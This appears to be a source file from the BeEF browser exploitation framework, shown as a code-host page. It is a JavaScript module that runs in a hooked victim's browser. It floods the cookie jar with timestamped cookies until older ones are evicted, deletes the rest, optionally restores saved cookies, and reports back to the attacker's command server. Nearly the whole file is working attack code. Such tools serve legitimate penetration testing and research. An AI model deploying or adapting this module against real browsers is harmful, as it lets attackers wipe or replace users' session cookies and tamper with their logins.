80 lines
2.2 KiB
JavaScript
80 lines
2.2 KiB
JavaScript
//
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// Copyright (c) 2006-2025Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - https://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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var preserveCookies = '<%= @preserveCookies %>'
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var initialtimestamp;
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var currenttimestamp;
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var i = 0;
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var preservedCookies;
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function setCookie(cname,cvalue){
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document.cookie = cname + "=" + cvalue;
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}
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function getCookie(cname){
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var name = cname + "=";
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var ca = document.cookie.split(';');
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for(var i=0; i<ca.length; i++){
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var c = ca[i].trim();
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if (c.indexOf(name)==0) return c.substring(name.length,c.length);
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}
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return "";
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}
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function deleteAllCookies(){
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var cookies = document.cookie.split(";");
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if (cookies.length > 0){
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var cookie = cookies[0];
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var eqPos = cookie.indexOf("=");
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var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
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document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
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if (cookies.length > 1){
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//Timeout needed because otherwise cookie write loop freezes render thread
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setTimeout(deleteAllCookies,1);
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}
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else{
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if (preserveCookies){
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var pc = preservedCookies.split(';');
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for(var i=0; i<pc.length; i++){
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var c = pc[i].trim();
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document.cookie = c;
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}
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}
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beef.net.send("<%= @command_url %>", <%= @command_id %>, 'Attempt to overflow the Cookie Jar completed');
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}
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}
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}
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function overflowCookie() {
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if(getCookie(initialtimestamp) === "BeEF") {
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currenttimestamp = Date.now();
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setCookie(currenttimestamp,"BeEF");
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//Timeout needed because otherwise cookie write loop freezes render thread
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setTimeout(overflowCookie, 1);
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}
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else{
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deleteAllCookies();
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}
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}
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function overflowCookieJar(){
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preservedCookies = document.cookie;
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initialtimestamp = Date.now();
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setCookie(initialtimestamp,"BeEF");
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overflowCookie();
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}
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overflowCookieJar();
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});
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